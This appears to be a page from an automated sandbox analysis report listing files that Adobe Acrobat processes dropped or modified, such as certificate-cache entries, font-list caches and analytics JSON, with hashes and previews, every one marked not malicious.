C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7177881616921042
Encrypted:	false
SSDEEP:	3:kkFklehttfllXlE/HT8k6mhttNNX8RolJuRdxLlGB9lQRYwpDdt:kKHHeT8q3NMa8RdWBwRd
MD5:	0F9E56FF75EB01220509825233371E2C
SHA1:	5257926EC77C632E30AD1BDB684F4FCEFFF31331
SHA-256:	76309A537D0C658E3A125D1D9B8518EF85E88981333FC69426D43D1F5C4ED75A
SHA-512:	0A6D2D8ED54E21EA543341330818EC207E87315F12A12B44C7CCA9642497357EFD3D698F847C0505A957752FCEE4D6242E7B8D168B59EB5B883D875A0395D266
Malicious:	false
Preview:	p...... ........-o.S.c..(....................................................... ..........W.....g..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.113479586643005
Encrypted:	false
SSDEEP:	6:kKkEl/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:5l/iDnLNkPlE99SNxAhUe/3
MD5:	44B0A3694E8CB4EBB3C885F726A03280
SHA1:	B6ED4E692C6CB2ED445949760B88E729FE42F943
SHA-256:	320FFF88D7ACFB69BC51B60EC1366994D370D80A3C73093EE7394987159A6D8E
SHA-512:	D8EB9466CF6BC12B2129EF9415CB5365BCD70E6F14418BEFD99319DC67EAE7D63A1C07477756D044E78D9881EBFE916D4DF9FC4D7A09575EBB86DB74BD3A25AB
Malicious:	false
Preview:	p...... ........d.~e.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4016

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4016

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.353606653957818
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHTwJR1VEGnZiQ0Y+6oAvJM3g98kUwPeUkwRe9:YvXKXFH0R9clJGMbLUkee9
MD5:	ED1BB5C0B32E4BE789BED1CB21FA444B
SHA1:	9D1DB0F04169979124D89AE6753E063C40CEFF18
SHA-256:	07DDB143F0BD549035BCA13733EA097FDB57CC4630E97FFF308606779FF9A3B5
SHA-512:	293AC910597C898F8A7BFFC419DB797E7E6C2BD1058E4688EF51198C6868CDDE474DA8A1DABE21F8E888E0000CC696B7B8ABE5DC09F10420386A8CACE0755C76
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"246ee0d7-b4b4-4c43-a246-fb5fd37ee8a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748377988,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.303471985476961
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHTwJR1VEGnZiQ0Y+6oAvJfBoTfXpnrPeUkwRe9:YvXKXFH0R9clJGWTfXcUkee9
MD5:	C906E973F206D237345AD8E78C282BF0
SHA1:	89A896A0C5D679399471E83593861CCFE17E698E
SHA-256:	B5F6416A32284AA437A30826D83DD0F7609086E1C2BC2093B31DDC24E337400E
SHA-512:	734E027F53614F03EBDD35806114B8F06BA8BCD4B7B7B95B84380956E1E315C4B3DDC02B9823937D68DAC7F763B985A62D21E1D817DF16D6374E9AB83417D094
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"246ee0d7-b4b4-4c43-a246-fb5fd37ee8a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748377988,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.282998168550994
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHTwJR1VEGnZiQ0Y+6oAvJfBD2G6UpnrPeUkwRe9:YvXKXFH0R9clJGR22cUkee9
MD5:	98749014975AE6AEFC06581647263C2B
SHA1:	4FA4B4E2016C4598A3C426011EFC0B9A8A092306
SHA-256:	A62AF829BF8796D8805BA27B9F1D42FCB8AA6AC21A581F19BF75482173D2332A
SHA-512:	76A8F6C344000880830B39ECFDB5C5CA65E2AFA9096C999AB4B6389E68390A2284A678863A40F87CBBFDBCC87396C515038A98A993FBCD9986C68AFA8968B634
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"246ee0d7-b4b4-4c43-a246-fb5fd37ee8a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748377988,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.333286888135461
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHTwJR1VEGnZiQ0Y+6oAvJfPmwrPeUkwRe9:YvXKXFH0R9clJGH56Ukee9
MD5:	A22947F774E4F3F40252BB72D50B4476
SHA1:	600971E852DF355E34F7BD61180A51872AAF01C0
SHA-256:	0C023F6980700B28CD3A8E3706543BB85A0B8858D4E30D1021DD938D6573583D
SHA-512:	8BBC2D891CCB192122F6FC92BF8C8F949BC3CEFDDFCADD7C868D3AD6DD414B19D07AAF16657770FD835B562CE59E68A2C217A8F7F0119A5CB34649AA7B6DC3E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"246ee0d7-b4b4-4c43-a246-fb5fd37ee8a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748377988,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688778153726369
Encrypted:	false
SSDEEP:	24:Yv6X2RClOpLgE9cQx8LennAvzBvkn0RCmK8czOCCS2g4:YviOhgy6SAFv5Ah8cv/2/
MD5:	7B8C4A515E7B75F0380EA23F6B72E14A
SHA1:	F09FF7E1BED6BB6ABD4E45BC45312E6596F6CE86
SHA-256:	77977361F48F45D43C6D06BF40600EA74210ADDB972FD73B3093A0F4AE5E909B
SHA-512:	883AB87D0B1E20F937CD63D509A82D9B9DA3ABB47BAB2C296D7E5D0CBB0F7F54755E32E185412E65CAD4220A1C5B57E76400EEB09B2580A0728916921E9EE0B7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"246ee0d7-b4b4-4c43-a246-fb5fd37ee8a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748377988,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.281101321961127
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHTwJR1VEGnZiQ0Y+6oAvJf8dPeUkwRe9:YvXKXFH0R9clJGU8Ukee9
MD5:	3C0F9CCF9930EFD470C71D5D76D091A2
SHA1:	85A54C95B80C3334F56F2D91B75B26EDBC1B84A5
SHA-256:	B60C2223647093E928B055931E68EF3A6B30DD2BAF7A583979694B94BD247CE9
SHA-512:	E7DA19F37DD66AB3717905974F5A01CEE127AA5DB111E49A90F9F57F835B6123092A7089DE32EE7CC5261FFAC2EE887AC079B5E1B0EA4D82C3B2211E3270C06F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"246ee0d7-b4b4-4c43-a246-fb5fd37ee8a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748377988,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.283412952927595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHTwJR1VEGnZiQ0Y+6oAvJfQ1rPeUkwRe9:YvXKXFH0R9clJGY16Ukee9
MD5:	553E360B9C3BE987AA2FCB4C1E235E19
SHA1:	94EA03DE5178A6B3F46D42EDB934EDA47986CFF3
SHA-256:	245AD87D571D76464D778D0FFE02A0CA4E1AAE62B1FC5E3A09D2897E5C9734C6
SHA-512:	BDBD699CBDD79E4FB8AAE8D6DAF995A54CED6DC1932C56B2C379F307B25A3CA0D290E6B1D1C472ED333A705BB2CD3566955F43CDEF08BA65F9E6F4CD9EEA9706
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"246ee0d7-b4b4-4c43-a246-fb5fd37ee8a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748377988,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2910858228699285
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHTwJR1VEGnZiQ0Y+6oAvJfFldPeUkwRe9:YvXKXFH0R9clJGz8Ukee9
MD5:	DC8F2DCA1625C23797FE2F729CEE1B31
SHA1:	086C4899AD047A708C836192528E92F02EF17916
SHA-256:	F5FACC8D386DD33A619C98C503787662F161712366C90C6F97DAF0C288274F88
SHA-512:	EBD6C5B42DF964A639046CBAE5F256E45D11E7FE769D9F1367C1AE387280A83C156943FD94A46FF90BA6683ED09DC4FF5E7EAC8C8CDCD10ED9099A05A26D6C8C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"246ee0d7-b4b4-4c43-a246-fb5fd37ee8a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748377988,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.307143054019215
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHTwJR1VEGnZiQ0Y+6oAvJfzdPeUkwRe9:YvXKXFH0R9clJGb8Ukee9
MD5:	09BC95AAA6875D547DC31D7EE7528117
SHA1:	D35F4D05050B326C49FE2509B1CCF23679FFED66
SHA-256:	FD3AC85BCA406924B8DF5706F89F149733012E3B448D9C201157BC2CCEC423AF
SHA-512:	4C008F51F0AC15DD016BE25E77BACFC8AD8388C14E7FA23EE42EA7E7FFC4AAB79AA4D5A838A7D1B1CF2C3EB7E4628DD827A3292495337842FDE3F87BEB1A837A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"246ee0d7-b4b4-4c43-a246-fb5fd37ee8a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748377988,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.287533082601221
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHTwJR1VEGnZiQ0Y+6oAvJfYdPeUkwRe9:YvXKXFH0R9clJGg8Ukee9
MD5:	D872E095E49C9A6E213897D5B0B19E89
SHA1:	6020146E69EFAC3A96DB466F8C279A5130676649
SHA-256:	BD418E06087468C67EA39136541B9D974DE7EEEAE826E4E6D3B8C9EF800E57C9
SHA-512:	5D23067761576553A2FACF2DD51614905AEBD0A33140D3B3A52B2B0DF6B434279971294129E743BDF9E9C38F72A07DD274196977636A84C6885638911C08C8F0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"246ee0d7-b4b4-4c43-a246-fb5fd37ee8a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748377988,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.27421280843138
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHTwJR1VEGnZiQ0Y+6oAvJf+dPeUkwRe9:YvXKXFH0R9clJG28Ukee9
MD5:	5580376E3F089C98332BA99DDE0D31C3
SHA1:	9EA05ABE9C608F96893B6DC4E1D32C7A761A9D59
SHA-256:	882806FF23513F5B1CB832F034EFF00C65E90980C7846F5F36DF310242F75D31
